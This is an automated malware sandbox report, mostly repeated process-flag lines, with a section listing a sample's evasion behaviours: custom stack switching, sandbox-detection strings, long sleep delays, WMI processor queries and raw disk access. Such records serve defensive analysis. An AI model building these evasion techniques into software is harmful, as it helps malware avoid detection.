Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe	API/Special instruction interceptor: Address: 7FF8C88ED044
Source: C:\Windows\SysWOW64\fontdrvhost.exe	API/Special instruction interceptor: Address: 7FF8C88ED044
Source: C:\Windows\SysWOW64\fontdrvhost.exe	API/Special instruction interceptor: Address: 551B83A

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2993935635.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2994624517.00000000048B9000.00000040.00001000.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3001644793.0000000002C79000.00000040.00000400.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3009052250.0000000002C79000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2993935635.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2994624517.00000000048B9000.00000040.00001000.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3001644793.0000000002C79000.00000040.00000400.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3009052250.0000000002C79000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 593138
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592931
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592756
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592631
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592499
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592359
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592221
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592047

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3940	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5933	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1621
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5756
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3880

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5348	Thread sleep count: 3940 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5036	Thread sleep count: 5933 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5892	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1436	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6020	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8632	Thread sleep count: 5756 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep count: 32 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -29514790517935264s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8972	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8648	Thread sleep count: 3880 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -593138s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -592931s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -592756s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -592631s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -592499s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -592359s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -592221s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8752	Thread sleep time: -592047s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontdrvhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 593138
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592931
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592756
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592631
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592499
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592359
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592221
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592047

Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: ..\hkinternal/collide/mopp/machine/hkMoppUsingFloatAabbVirtualMachine.inl
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tEventVmNetworkAdapter',
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'Remove-NetEventVmNetworkAdapter',
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC18C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapterX
